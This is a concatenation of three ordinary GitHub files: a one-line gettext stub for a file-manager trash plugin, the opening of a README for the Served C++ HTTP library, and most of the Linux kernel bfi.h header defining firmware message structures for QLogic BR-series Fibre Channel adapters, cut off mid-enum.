#: plugins/pantheon-files-trash/plugin.vala:22
msgid "Delete Selected"
msgstr ""
| {
"pile_set_name": "Github"
} |
# Served - An Introduction
Served is a C++11 HTTP server library, designed primarily for making HTTP in C++ projects simple, fun and quick to implement. The documentation within this directory gives a useful overview of using Served, but for more detailed information about the API please refer to the header files of each component of interest.
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2005-2014 Brocade Communications Systems, Inc.
* Copyright (c) 2014- QLogic Corporation.
* All rights reserved
* www.qlogic.com
*
* Linux driver for QLogic BR-series Fibre Channel Host Bus Adapter.
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License (GPL) Version 2 as
* published by the Free Software Foundation
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*/
#ifndef __BFI_H__
#define __BFI_H__
#include "bfa_defs.h"
#include "bfa_defs_svc.h"
#pragma pack(1)
/* Per dma segment max size */
#define BFI_MEM_DMA_SEG_SZ (131072)
/* Get number of dma segments required */
#define BFI_MEM_DMA_NSEGS(_num_reqs, _req_sz) \
((u16)(((((_num_reqs) * (_req_sz)) + BFI_MEM_DMA_SEG_SZ - 1) & \
~(BFI_MEM_DMA_SEG_SZ - 1)) / BFI_MEM_DMA_SEG_SZ))
/* Get num dma reqs - that fit in a segment */
#define BFI_MEM_NREQS_SEG(_rqsz) (BFI_MEM_DMA_SEG_SZ / (_rqsz))
/* Get segment num from tag */
#define BFI_MEM_SEG_FROM_TAG(_tag, _rqsz) ((_tag) / BFI_MEM_NREQS_SEG(_rqsz))
/* Get dma req offset in a segment */
#define BFI_MEM_SEG_REQ_OFFSET(_tag, _sz) \
((_tag) - (BFI_MEM_SEG_FROM_TAG(_tag, _sz) * BFI_MEM_NREQS_SEG(_sz)))
/*
* BFI FW image type
*/
#define BFI_FLASH_CHUNK_SZ 256 /* Flash chunk size */
#define BFI_FLASH_CHUNK_SZ_WORDS (BFI_FLASH_CHUNK_SZ/sizeof(u32))
#define BFI_FLASH_IMAGE_SZ 0x100000
/*
* Msg header common to all msgs
*/
struct bfi_mhdr_s {
u8 msg_class; /* @ref bfi_mclass_t */
u8 msg_id; /* msg opcode with in the class */
union {
struct {
u8 qid;
u8 fn_lpu; /* msg destination */
} h2i;
u16 i2htok; /* token in msgs to host */
} mtag;
};
#define bfi_fn_lpu(__fn, __lpu) ((__fn) << 1 | (__lpu))
#define bfi_mhdr_2_fn(_mh) ((_mh)->mtag.h2i.fn_lpu >> 1)
#define bfi_h2i_set(_mh, _mc, _op, _fn_lpu) do { \
(_mh).msg_class = (_mc); \
(_mh).msg_id = (_op); \
(_mh).mtag.h2i.fn_lpu = (_fn_lpu); \
} while (0)
#define bfi_i2h_set(_mh, _mc, _op, _i2htok) do { \
(_mh).msg_class = (_mc); \
(_mh).msg_id = (_op); \
(_mh).mtag.i2htok = (_i2htok); \
} while (0)
/*
* Message opcodes: 0-127 to firmware, 128-255 to host
*/
#define BFI_I2H_OPCODE_BASE 128
#define BFA_I2HM(_x) ((_x) + BFI_I2H_OPCODE_BASE)
/*
****************************************************************************
*
* Scatter Gather Element and Page definition
*
****************************************************************************
*/
#define BFI_SGE_INLINE 1
#define BFI_SGE_INLINE_MAX (BFI_SGE_INLINE + 1)
/*
* SG Flags
*/
enum {
BFI_SGE_DATA = 0, /* data address, not last */
BFI_SGE_DATA_CPL = 1, /* data addr, last in current page */
BFI_SGE_DATA_LAST = 3, /* data address, last */
BFI_SGE_LINK = 2, /* link address */
BFI_SGE_PGDLEN = 2, /* cumulative data length for page */
};
/*
* DMA addresses
*/
union bfi_addr_u {
struct {
__be32 addr_lo;
__be32 addr_hi;
} a32;
};
/*
* Scatter Gather Element used for fast-path IO requests
*/
struct bfi_sge_s {
#ifdef __BIG_ENDIAN
u32 flags:2,
rsvd:2,
sg_len:28;
#else
u32 sg_len:28,
rsvd:2,
flags:2;
#endif
union bfi_addr_u sga;
};
/**
* Generic DMA addr-len pair.
*/
struct bfi_alen_s {
union bfi_addr_u al_addr; /* DMA addr of buffer */
u32 al_len; /* length of buffer */
};
/*
* Scatter Gather Page
*/
#define BFI_SGPG_DATA_SGES 7
#define BFI_SGPG_SGES_MAX (BFI_SGPG_DATA_SGES + 1)
#define BFI_SGPG_RSVD_WD_LEN 8
struct bfi_sgpg_s {
struct bfi_sge_s sges[BFI_SGPG_SGES_MAX];
u32 rsvd[BFI_SGPG_RSVD_WD_LEN];
};
/* FCP module definitions */
#define BFI_IO_MAX (2000)
#define BFI_IOIM_SNSLEN (256)
#define BFI_IOIM_SNSBUF_SEGS \
BFI_MEM_DMA_NSEGS(BFI_IO_MAX, BFI_IOIM_SNSLEN)
/*
* Large Message structure - 128 Bytes size Msgs
*/
#define BFI_LMSG_SZ 128
#define BFI_LMSG_PL_WSZ \
((BFI_LMSG_SZ - sizeof(struct bfi_mhdr_s)) / 4)
struct bfi_msg_s {
struct bfi_mhdr_s mhdr;
u32 pl[BFI_LMSG_PL_WSZ];
};
/*
* Mailbox message structure
*/
#define BFI_MBMSG_SZ 7
struct bfi_mbmsg_s {
struct bfi_mhdr_s mh;
u32 pl[BFI_MBMSG_SZ];
};
/*
* Supported PCI function class codes (personality)
*/
enum bfi_pcifn_class {
BFI_PCIFN_CLASS_FC = 0x0c04,
BFI_PCIFN_CLASS_ETH = 0x0200,
};
/*
* Message Classes
*/
enum bfi_mclass {
BFI_MC_IOC = 1, /* IO Controller (IOC) */
BFI_MC_DIAG = 2, /* Diagnostic Msgs */
BFI_MC_FLASH = 3, /* Flash message class */
BFI_MC_CEE = 4, /* CEE */
BFI_MC_FCPORT = 5, /* FC port */
BFI_MC_IOCFC = 6, /* FC - IO Controller (IOC) */
BFI_MC_ABLK = 7, /* ASIC block configuration */
BFI_MC_UF = 8, /* Unsolicited frame receive */
BFI_MC_FCXP = 9, /* FC Transport */
BFI_MC_LPS = 10, /* lport fc login services */
BFI_MC_RPORT = 11, /* Remote port */
BFI_MC_ITN = 12, /* I-T nexus (Initiator mode) */
BFI_MC_IOIM_READ = 13, /* read IO (Initiator mode) */
BFI_MC_IOIM_WRITE = 14, /* write IO (Initiator mode) */
BFI_MC_IOIM_IO = 15, /* IO (Initiator mode) */
BFI_MC_IOIM = 16, /* IO (Initiator mode) */
BFI_MC_IOIM_IOCOM = 17, /* good IO completion */
BFI_MC_TSKIM = 18, /* Initiator Task management */
BFI_MC_PORT = 21, /* Physical port */
BFI_MC_SFP = 22, /* SFP module */
BFI_MC_PHY = 25, /* External PHY message class */
BFI_MC_FRU = 34,
BFI_MC_MAX = 35
};
#define BFI_IOC_MAX_CQS 4
#define BFI_IOC_MAX_CQS_ASIC 8
#define BFI_IOC_MSGLEN_MAX 32 /* 32 bytes */
/*
*----------------------------------------------------------------------
* IOC
*----------------------------------------------------------------------
*/
/*
* Different asic generations
*/
enum bfi_asic_gen {
BFI_ASIC_GEN_CB = 1, /* crossbow 8G FC */
BFI_ASIC_GEN_CT = 2, /* catapult 8G FC or 10G CNA */
BFI_ASIC_GEN_CT2 = 3, /* catapult-2 16G FC or 10G CNA */
};
enum bfi_asic_mode {
BFI_ASIC_MODE_FC = 1, /* FC upto 8G speed */
BFI_ASIC_MODE_FC16 = 2, /* FC upto 16G speed */
BFI_ASIC_MODE_ETH = 3, /* Ethernet ports */
BFI_ASIC_MODE_COMBO = 4, /* FC 16G and Ethernet 10G port */
};
enum bfi_ioc_h2i_msgs {
BFI_IOC_H2I_ENABLE_REQ = 1,
BFI_IOC_H2I_DISABLE_REQ = 2,
BFI_IOC_H2I_GETATTR_REQ = 3,
BFI_IOC_H2I_DBG_SYNC = 4,
BFI_IOC_H2I_DBG_DUMP = 5,
};
enum bfi_ioc_i2h_msgs {
BFI_IOC_I2H_ENABLE_REPLY = BFA_I2HM(1),
BFI_IOC_I2H_DISABLE_REPLY = BFA_I2HM(2),
BFI_IOC_I2H_GETATTR_REPLY = BFA_I2HM(3),
BFI_IOC_I2H_HBEAT = BFA_I2HM(4),
BFI_IOC_I2H_ACQ_ADDR_REPLY = BFA_I2HM(5),
};
/*
* BFI_IOC_H2I_GETATTR_REQ message
*/
struct bfi_ioc_getattr_req_s {
struct bfi_mhdr_s mh;
union bfi_addr_u attr_addr;
};
#define BFI_IOC_ATTR_UUID_SZ 16
struct bfi_ioc_attr_s {
wwn_t mfg_pwwn; /* Mfg port wwn */
wwn_t mfg_nwwn; /* Mfg node wwn */
mac_t mfg_mac; /* Mfg mac */
u8 port_mode; /* bfi_port_mode */
u8 rsvd_a;
wwn_t pwwn;
wwn_t nwwn;
mac_t mac; /* PBC or Mfg mac */
u16 rsvd_b;
mac_t fcoe_mac;
u16 rsvd_c;
char brcd_serialnum[STRSZ(BFA_MFG_SERIALNUM_SIZE)];
u8 pcie_gen;
u8 pcie_lanes_orig;
u8 pcie_lanes;
u8 rx_bbcredit; /* receive buffer credits */
u32 adapter_prop; /* adapter properties */
u16 maxfrsize; /* max receive frame size */
char asic_rev;
u8 rsvd_d;
char fw_version[BFA_VERSION_LEN];
char optrom_version[BFA_VERSION_LEN];
struct bfa_mfg_vpd_s vpd;
u32 card_type; /* card type */
u8 mfg_day; /* manufacturing day */
u8 mfg_month; /* manufacturing month */
u16 mfg_year; /* manufacturing year */
u8 uuid[BFI_IOC_ATTR_UUID_SZ]; /*!< chinook uuid */
};
/*
* BFI_IOC_I2H_GETATTR_REPLY message
*/
struct bfi_ioc_getattr_reply_s {
struct bfi_mhdr_s mh; /* Common msg header */
u8 status; /* cfg reply status */
u8 rsvd[3];
};
/*
* Firmware memory page offsets
*/
#define BFI_IOC_SMEM_PG0_CB (0x40)
#define BFI_IOC_SMEM_PG0_CT (0x180)
/*
* Firmware statistic offset
*/
#define BFI_IOC_FWSTATS_OFF (0x6B40)
#define BFI_IOC_FWSTATS_SZ (4096)
/*
* Firmware trace offset
*/
#define BFI_IOC_TRC_OFF (0x4b00)
#define BFI_IOC_TRC_ENTS 256
#define BFI_IOC_FW_SIGNATURE (0xbfadbfad)
#define BFA_IOC_FW_INV_SIGN (0xdeaddead)
#define BFI_IOC_MD5SUM_SZ 4
struct bfi_ioc_fwver_s {
#ifdef __BIG_ENDIAN
uint8_t patch;
uint8_t maint;
uint8_t minor;
uint8_t major;
uint8_t rsvd[2];
uint8_t build;
uint8_t phase;
#else
uint8_t major;
uint8_t minor;
uint8_t maint;
uint8_t patch;
uint8_t phase;
uint8_t build;
uint8_t rsvd[2];
#endif
};
struct bfi_ioc_image_hdr_s {
u32 signature; /* constant signature */
u8 asic_gen; /* asic generation */
u8 asic_mode;
u8 port0_mode; /* device mode for port 0 */
u8 port1_mode; /* device mode for port 1 */
u32 exec; /* exec vector */
u32 bootenv; /* firmware boot env */
u32 rsvd_b[2];
struct bfi_ioc_fwver_s fwver;
u32 md5sum[BFI_IOC_MD5SUM_SZ];
};
enum bfi_ioc_img_ver_cmp_e {
BFI_IOC_IMG_VER_INCOMP,
BFI_IOC_IMG_VER_OLD,
BFI_IOC_IMG_VER_SAME,
BFI_IOC_IMG_VER_BETTER
};
#define BFI_FWBOOT_DEVMODE_OFF 4
#define BFI_FWBOOT_TYPE_OFF 8
#define BFI_FWBOOT_ENV_OFF 12
#define BFI_FWBOOT_DEVMODE(__asic_gen, __asic_mode, __p0_mode, __p1_mode) \
(((u32)(__asic_gen)) << 24 | \
((u32)(__asic_mode)) << 16 | \
((u32)(__p0_mode)) << 8 | \
((u32)(__p1_mode)))
enum bfi_fwboot_type {
BFI_FWBOOT_TYPE_NORMAL = 0,
BFI_FWBOOT_TYPE_FLASH = 1,
BFI_FWBOOT_TYPE_MEMTEST = 2,
};
#define BFI_FWBOOT_TYPE_NORMAL 0
#define BFI_FWBOOT_TYPE_MEMTEST 2
#define BFI_FWBOOT_ENV_OS 0
enum bfi_port_mode {
BFI_PORT_MODE_FC = 1,
BFI_PORT_MODE_ETH = 2,
};
struct bfi_ioc_hbeat_s {
struct bfi_mhdr_s mh; /* common msg header */
u32 hb_count; /* current heart beat count */
};
/*
* IOC hardware/firmware state
*/
enum bfi_ioc_state {
BFI_IOC_UNINIT = 0, /* not initialized */
BFI_IOC_INITING = 1, /* h/w is being initialized */
BFI_IOC_HWINIT = 2, /* h/w is initialized */
BFI_IOC_CFG = 3, /* IOC configuration in progress */
BFI_IOC_OP = 4, /* IOC is operational */
BFI_IOC_DISABLING = 5, /* IOC is being disabled */
BFI_IOC_DISABLED = 6, /* IOC is disabled */
BFI_IOC_CFG_DISABLED = 7, /* IOC is being disabled;transient */
BFI_IOC_FAIL = 8, /* IOC heart-beat failure */
BFI_IOC_MEMTEST = 9, /* IOC is doing memtest */
};
#define BFA_IOC_CB_JOIN_SH 16
#define BFA_IOC_CB_FWSTATE_MASK 0x0000ffff
#define BFA_IOC_CB_JOIN_MASK 0xffff0000
#define BFI_IOC_ENDIAN_SIG 0x12345678
enum {
BFI_ADAPTER_TYPE_FC = 0x01, /* FC adapters */
BFI_ADAPTER_TYPE_MK = 0x0f0000, /* adapter type mask */
BFI_ADAPTER_TYPE_SH = 16, /* adapter type shift */
BFI_ADAPTER_NPORTS_MK = 0xff00, /* number of ports mask */
BFI_ADAPTER_NPORTS_SH = 8, /* number of ports shift */
BFI_ADAPTER_SPEED_MK = 0xff, /* adapter speed mask */
BFI_ADAPTER_SPEED_SH = 0, /* adapter speed shift */
BFI_ADAPTER_PROTO = 0x100000, /* prototype adapaters */
BFI_ADAPTER_TTV = 0x200000, /* TTV debug capable */
BFI_ADAPTER_UNSUPP = 0x400000, /* unknown adapter type */
};
#define BFI_ADAPTER_GETP(__prop, __adap_prop) \
(((__adap_prop) & BFI_ADAPTER_ ## __prop ## _MK) >> \
BFI_ADAPTER_ ## __prop ## _SH)
#define BFI_ADAPTER_SETP(__prop, __val) \
((__val) << BFI_ADAPTER_ ## __prop ## _SH)
#define BFI_ADAPTER_IS_PROTO(__adap_type) \
((__adap_type) & BFI_ADAPTER_PROTO)
#define BFI_ADAPTER_IS_TTV(__adap_type) \
((__adap_type) & BFI_ADAPTER_TTV)
#define BFI_ADAPTER_IS_UNSUPP(__adap_type) \
((__adap_type) & BFI_ADAPTER_UNSUPP)
#define BFI_ADAPTER_IS_SPECIAL(__adap_type) \
((__adap_type) & (BFI_ADAPTER_TTV | BFI_ADAPTER_PROTO | \
BFI_ADAPTER_UNSUPP))
/*
* BFI_IOC_H2I_ENABLE_REQ & BFI_IOC_H2I_DISABLE_REQ messages
*/
struct bfi_ioc_ctrl_req_s {
struct bfi_mhdr_s mh;
u16 clscode;
u16 rsvd;
u32 tv_sec;
};
#define bfi_ioc_enable_req_t struct bfi_ioc_ctrl_req_s;
#define bfi_ioc_disable_req_t struct bfi_ioc_ctrl_req_s;
/*
* BFI_IOC_I2H_ENABLE_REPLY & BFI_IOC_I2H_DISABLE_REPLY messages
*/
struct bfi_ioc_ctrl_reply_s {
struct bfi_mhdr_s mh; /* Common msg header */
u8 status; /* enable/disable status */
u8 port_mode; /* bfa_mode_s */
u8 cap_bm; /* capability bit mask */
u8 rsvd;
};
#define bfi_ioc_enable_reply_t struct bfi_ioc_ctrl_reply_s;
#define bfi_ioc_disable_reply_t struct bfi_ioc_ctrl_reply_s;
#define BFI_IOC_MSGSZ 8
/*
* H2I Messages
*/
union bfi_ioc_h2i_msg_u {
struct bfi_mhdr_s mh;
struct bfi_ioc_ctrl_req_s enable_req;
struct bfi_ioc_ctrl_req_s disable_req;
struct bfi_ioc_getattr_req_s getattr_req;
u32 mboxmsg[BFI_IOC_MSGSZ];
};
/*
* I2H Messages
*/
union bfi_ioc_i2h_msg_u {
struct bfi_mhdr_s mh;
struct bfi_ioc_ctrl_reply_s fw_event;
u32 mboxmsg[BFI_IOC_MSGSZ];
};
/*
*----------------------------------------------------------------------
* PBC
*----------------------------------------------------------------------
*/
#define BFI_PBC_MAX_BLUNS 8
#define BFI_PBC_MAX_VPORTS 16
#define BFI_PBC_PORT_DISABLED 2
/*
* PBC boot lun configuration
*/
struct bfi_pbc_blun_s {
wwn_t tgt_pwwn;
struct scsi_lun tgt_lun;
};
/*
* PBC virtual port configuration
*/
struct bfi_pbc_vport_s {
wwn_t vp_pwwn;
wwn_t vp_nwwn;
};
/*
* BFI pre-boot configuration information
*/
struct bfi_pbc_s {
u8 port_enabled;
u8 boot_enabled;
u8 nbluns;
u8 nvports;
u8 port_speed;
u8 rsvd_a;
u16 hss;
wwn_t pbc_pwwn;
wwn_t pbc_nwwn;
struct bfi_pbc_blun_s blun[BFI_PBC_MAX_BLUNS];
struct bfi_pbc_vport_s vport[BFI_PBC_MAX_VPORTS];
};
/*
*----------------------------------------------------------------------
* MSGQ
*----------------------------------------------------------------------
*/
#define BFI_MSGQ_FULL(_q) (((_q->pi + 1) % _q->q_depth) == _q->ci)
#define BFI_MSGQ_EMPTY(_q) (_q->pi == _q->ci)
#define BFI_MSGQ_UPDATE_CI(_q) (_q->ci = (_q->ci + 1) % _q->q_depth)
#define BFI_MSGQ_UPDATE_PI(_q) (_q->pi = (_q->pi + 1) % _q->q_depth)
/* q_depth must be power of 2 */
#define BFI_MSGQ_FREE_CNT(_q) ((_q->ci - _q->pi - 1) & (_q->q_depth - 1))
enum bfi_msgq_h2i_msgs_e {
BFI_MSGQ_H2I_INIT_REQ = 1,
BFI_MSGQ_H2I_DOORBELL = 2,
BFI_MSGQ_H2I_SHUTDOWN = 3,
};
enum bfi_msgq_i2h_msgs_e {
BFI_MSGQ_I2H_INIT_RSP = 1,
BFI_MSGQ_I2H_DOORBELL = 2,
};
/* Messages(commands/responsed/AENS will have the following header */
struct bfi_msgq_mhdr_s {
u8 msg_class;
u8 msg_id;
u16 msg_token;
u16 num_entries;
u8 enet_id;
u8 rsvd[1];
};
#define bfi_msgq_mhdr_set(_mh, _mc, _mid, _tok, _enet_id) do { \
(_mh).msg_class = (_mc); \
(_mh).msg_id = (_mid); \
(_mh).msg_token = (_tok); \
(_mh).enet_id = (_enet_id); \
} while (0)
/*
* Mailbox for messaging interface
*
*/
#define BFI_MSGQ_CMD_ENTRY_SIZE (64) /* TBD */
#define BFI_MSGQ_RSP_ENTRY_SIZE (64) /* TBD */
#define BFI_MSGQ_MSG_SIZE_MAX (2048) /* TBD */
struct bfi_msgq_s {
union bfi_addr_u addr;
u16 q_depth; /* Total num of entries in the queue */
u8 rsvd[2];
};
/* BFI_ENET_MSGQ_CFG_REQ TBD init or cfg? */
struct bfi_msgq_cfg_req_s {
struct bfi_mhdr_s mh;
struct bfi_msgq_s cmdq;
struct bfi_msgq_s rspq;
};
/* BFI_ENET_MSGQ_CFG_RSP */
struct bfi_msgq_cfg_rsp_s {
struct bfi_mhdr_s mh;
u8 cmd_status;
u8 rsvd[3];
};
/* BFI_MSGQ_H2I_DOORBELL */
struct bfi_msgq_h2i_db_s {
struct bfi_mhdr_s mh;
u16 cmdq_pi;
u16 rspq_ci;
};
/* BFI_MSGQ_I2H_DOORBELL */
struct bfi_msgq_i2h_db_s {
struct bfi_mhdr_s mh;
u16 rspq_pi;
u16 cmdq_ci;
};
#pragma pack()
/* BFI port specific */
#pragma pack(1)
enum bfi_port_h2i {
BFI_PORT_H2I_ENABLE_REQ = (1),
BFI_PORT_H2I_DISABLE_REQ = (2),
BFI_PORT_H2I_GET_STATS_REQ = (3),
BFI_PORT_H2I_CLEAR_STATS_REQ = (4),
};
enum bfi_port_i2h {
BFI_PORT_I2H_ENABLE_RSP = BFA_I2HM(1),
BFI_PORT_I2H_DISABLE_RSP = BFA_I2HM(2),
BFI_PORT_I2H_GET_STATS_RSP = BFA_I2HM(3),
BFI_PORT_I2H_CLEAR_STATS_RSP = BFA_I2HM(4),
};
/*
* Generic REQ type
*/
struct bfi_port_generic_req_s {
struct bfi_mhdr_s mh; /* msg header */
u32 msgtag; /* msgtag for reply */
u32 rsvd;
};
/*
* Generic RSP type
*/
struct bfi_port_generic_rsp_s {
struct bfi_mhdr_s mh; /* common msg header */
u8 status; /* port enable status */
u8 rsvd[3];
u32 msgtag; /* msgtag for reply */
};
/*
* BFI_PORT_H2I_GET_STATS_REQ
*/
struct bfi_port_get_stats_req_s {
struct bfi_mhdr_s mh; /* common msg header */
union bfi_addr_u dma_addr;
};
union bfi_port_h2i_msg_u {
struct bfi_mhdr_s mh;
struct bfi_port_generic_req_s enable_req;
struct bfi_port_generic_req_s disable_req;
struct bfi_port_get_stats_req_s getstats_req;
struct bfi_port_generic_req_s clearstats_req;
};
union bfi_port_i2h_msg_u {
struct bfi_mhdr_s mh;
struct bfi_port_generic_rsp_s enable_rsp;
struct bfi_port_generic_rsp_s disable_rsp;
struct bfi_port_generic_rsp_s getstats_rsp;
struct bfi_port_generic_rsp_s clearstats_rsp;
};
/*
*----------------------------------------------------------------------
* ABLK
*----------------------------------------------------------------------
*/
enum bfi_ablk_h2i_msgs_e {
BFI_ABLK_H2I_QUERY = 1,
BFI_ABLK_H2I_ADPT_CONFIG = 2,
BFI_ABLK_H2I_PORT_CONFIG = 3,
BFI_ABLK_H2I_PF_CREATE = 4,
BFI_ABLK_H2I_PF_DELETE = 5,
BFI_ABLK_H2I_PF_UPDATE = 6,
BFI_ABLK_H2I_OPTROM_ENABLE = 7,
BFI_ABLK_H2I_OPTROM_DISABLE = 8,
};
enum bfi_ablk_i2h_msgs_e {
BFI_ABLK_I2H_QUERY = BFA_I2HM(BFI_ABLK_H2I_QUERY),
BFI_ABLK_I2H_ADPT_CONFIG = BFA_I2HM(BFI_ABLK_H2I_ADPT_CONFIG),
BFI_ABLK_I2H_PORT_CONFIG = BFA_I2HM(BFI_ABLK_H2I_PORT_CONFIG),
BFI_ABLK_I2H_PF_CREATE = BFA_I2HM(BFI_ABLK_H2I_PF_CREATE),
BFI_ABLK_I2H_PF_DELETE = BFA_I2HM(BFI_ABLK_H2I_PF_DELETE),
BFI_ABLK_I2H_PF_UPDATE = BFA_I2HM(BFI_ABLK_H2I_PF_UPDATE),
BFI_ABLK_I2H_OPTROM_ENABLE = BFA_I2HM(BFI_ABLK_H2I_OPTROM_ENABLE),
BFI_ABLK_I2H_OPTROM_DISABLE = BFA_I2HM(BFI_ABLK_H2I_OPTROM_DISABLE),
};
/* BFI_ABLK_H2I_QUERY */
struct bfi_ablk_h2i_query_s {
struct bfi_mhdr_s mh;
union bfi_addr_u addr;
};
/* BFI_ABL_H2I_ADPT_CONFIG, BFI_ABLK_H2I_PORT_CONFIG */
struct bfi_ablk_h2i_cfg_req_s {
struct bfi_mhdr_s mh;
u8 mode;
u8 port;
u8 max_pf;
u8 max_vf;
};
/*
* BFI_ABLK_H2I_PF_CREATE, BFI_ABLK_H2I_PF_DELETE,
*/
struct bfi_ablk_h2i_pf_req_s {
struct bfi_mhdr_s mh;
u8 pcifn;
u8 port;
u16 pers;
u16 bw_min; /* percent BW @ max speed */
u16 bw_max; /* percent BW @ max speed */
};
/* BFI_ABLK_H2I_OPTROM_ENABLE, BFI_ABLK_H2I_OPTROM_DISABLE */
struct bfi_ablk_h2i_optrom_s {
struct bfi_mhdr_s mh;
};
/*
* BFI_ABLK_I2H_QUERY
* BFI_ABLK_I2H_PORT_CONFIG
* BFI_ABLK_I2H_PF_CREATE
* BFI_ABLK_I2H_PF_DELETE
* BFI_ABLK_I2H_PF_UPDATE
* BFI_ABLK_I2H_OPTROM_ENABLE
* BFI_ABLK_I2H_OPTROM_DISABLE
*/
struct bfi_ablk_i2h_rsp_s {
struct bfi_mhdr_s mh;
u8 status;
u8 pcifn;
u8 port_mode;
};
/*
* CEE module specific messages
*/
/* Mailbox commands from host to firmware */
enum bfi_cee_h2i_msgs_e {
BFI_CEE_H2I_GET_CFG_REQ = 1,
BFI_CEE_H2I_RESET_STATS = 2,
BFI_CEE_H2I_GET_STATS_REQ = 3,
};
enum bfi_cee_i2h_msgs_e {
BFI_CEE_I2H_GET_CFG_RSP = BFA_I2HM(1),
BFI_CEE_I2H_RESET_STATS_RSP = BFA_I2HM(2),
BFI_CEE_I2H_GET_STATS_RSP = BFA_I2HM(3),
};
/*
* H2I command structure for resetting the stats
*/
struct bfi_cee_reset_stats_s {
struct bfi_mhdr_s mh;
};
/*
* Get configuration command from host
*/
struct bfi_cee_get_req_s {
struct bfi_mhdr_s mh;
union bfi_addr_u dma_addr;
};
/*
* Reply message from firmware
*/
struct bfi_cee_get_rsp_s {
struct bfi_mhdr_s mh;
u8 cmd_status;
u8 rsvd[3];
};
/*
* Reply message from firmware
*/
struct bfi_cee_stats_rsp_s {
struct bfi_mhdr_s mh;
u8 cmd_status;
u8 rsvd[3];
};
/* Mailbox message structures from firmware to host */
union bfi_cee_i2h_msg_u {
struct bfi_mhdr_s mh;
struct bfi_cee_get_rsp_s get_rsp;
struct bfi_cee_stats_rsp_s stats_rsp;
};
/*
* SFP related
*/
enum bfi_sfp_h2i_e {
BFI_SFP_H2I_SHOW = 1,
BFI_SFP_H2I_SCN = 2,
};
enum bfi_sfp_i2h_e {
BFI_SFP_I2H_SHOW = BFA_I2HM(BFI_SFP_H2I_SHOW),
BFI_SFP_I2H_SCN = BFA_I2HM(BFI_SFP_H2I_SCN),
};
/*
* SFP state change notification
*/
struct bfi_sfp_scn_s {
struct bfi_mhdr_s mhr; /* host msg header */
u8 event;
u8 sfpid;
u8 pomlvl; /* pom level: normal/warning/alarm */
u8 is_elb; /* e-loopback */
};
/*
* SFP state
*/
enum bfa_sfp_stat_e {
BFA_SFP_STATE_INIT = 0, /* SFP state is uninit */
BFA_SFP_STATE_REMOVED = 1, /* SFP is removed */
BFA_SFP_STATE_INSERTED = 2, /* SFP is inserted */
BFA_SFP_STATE_VALID = 3, /* SFP is valid */
BFA_SFP_STATE_UNSUPPORT = 4, /* SFP is unsupport */
BFA_SFP_STATE_FAILED = 5, /* SFP i2c read fail */
};
/*
* SFP memory access type
*/
enum bfi_sfp_mem_e {
BFI_SFP_MEM_ALL = 0x1, /* access all data field */
BFI_SFP_MEM_DIAGEXT = 0x2, /* access diag ext data field only */
};
struct bfi_sfp_req_s {
struct bfi_mhdr_s mh;
u8 memtype;
u8 rsvd[3];
struct bfi_alen_s alen;
};
struct bfi_sfp_rsp_s {
struct bfi_mhdr_s mh;
u8 status;
u8 state;
u8 rsvd[2];
};
/*
* FLASH module specific
*/
enum bfi_flash_h2i_msgs {
BFI_FLASH_H2I_QUERY_REQ = 1,
BFI_FLASH_H2I_ERASE_REQ = 2,
BFI_FLASH_H2I_WRITE_REQ = 3,
BFI_FLASH_H2I_READ_REQ = 4,
BFI_FLASH_H2I_BOOT_VER_REQ = 5,
};
enum bfi_flash_i2h_msgs {
BFI_FLASH_I2H_QUERY_RSP = BFA_I2HM(1),
BFI_FLASH_I2H_ERASE_RSP = BFA_I2HM(2),
BFI_FLASH_I2H_WRITE_RSP = BFA_I2HM(3),
BFI_FLASH_I2H_READ_RSP = BFA_I2HM(4),
BFI_FLASH_I2H_BOOT_VER_RSP = BFA_I2HM(5),
BFI_FLASH_I2H_EVENT = BFA_I2HM(127),
};
/*
* Flash query request
*/
struct bfi_flash_query_req_s {
struct bfi_mhdr_s mh; /* Common msg header */
struct bfi_alen_s alen;
};
/*
* Flash erase request
*/
struct bfi_flash_erase_req_s {
struct bfi_mhdr_s mh; /* Common msg header */
u32 type; /* partition type */
u8 instance; /* partition instance */
u8 rsv[3];
};
/*
* Flash write request
*/
struct bfi_flash_write_req_s {
struct bfi_mhdr_s mh; /* Common msg header */
struct bfi_alen_s alen;
u32 type; /* partition type */
u8 instance; /* partition instance */
u8 last;
u8 rsv[2];
u32 offset;
u32 length;
};
/*
* Flash read request
*/
struct bfi_flash_read_req_s {
struct bfi_mhdr_s mh; /* Common msg header */
u32 type; /* partition type */
u8 instance; /* partition instance */
u8 rsv[3];
u32 offset;
u32 length;
struct bfi_alen_s alen;
};
/*
* Flash query response
*/
struct bfi_flash_query_rsp_s {
struct bfi_mhdr_s mh; /* Common msg header */
u32 status;
};
/*
* Flash read response
*/
struct bfi_flash_read_rsp_s {
struct bfi_mhdr_s mh; /* Common msg header */
u32 type; /* partition type */
u8 instance; /* partition instance */
u8 rsv[3];
u32 status;
u32 length;
};
/*
* Flash write response
*/
struct bfi_flash_write_rsp_s {
struct bfi_mhdr_s mh; /* Common msg header */
u32 type; /* partition type */
u8 instance; /* partition instance */
u8 rsv[3];
u32 status;
u32 length;
};
/*
* Flash erase response
*/
struct bfi_flash_erase_rsp_s {
struct bfi_mhdr_s mh; /* Common msg header */
u32 type; /* partition type */
u8 instance; /* partition instance */
u8 rsv[3];
u32 status;
};
/*
* Flash event notification
*/
struct bfi_flash_event_s {
struct bfi_mhdr_s mh; /* Common msg header */
bfa_status_t status;
u32 param;
};
/*
*----------------------------------------------------------------------
* DIAG
*----------------------------------------------------------------------
*/
enum bfi_diag_h2i {
BFI_DIAG_H2I_PORTBEACON = 1,
BFI_DIAG_H2I_LOOPBACK = 2,
BFI_DIAG_H2I_FWPING = 3,
BFI_DIAG_H2I_TEMPSENSOR = 4,
BFI_DIAG_H2I_LEDTEST = 5,
BFI_DIAG_H2I_QTEST = 6,
BFI_DIAG_H2I_DPORT = 7,
};
enum bfi_diag_i2h {
BFI_DIAG_I2H_PORTBEACON = BFA_I2HM(BFI_DIAG_H2I_PORTBEACON),
BFI_DIAG_I2H_LOOPBACK = BFA_I2HM(BFI_DIAG_H2I_LOOPBACK),
BFI_DIAG_I2H_FWPING = BFA_I2HM(BFI_DIAG_H2I_FWPING),
BFI_DIAG_I2H_TEMPSENSOR = BFA_I2HM(BFI_DIAG_H2I_TEMPSENSOR),
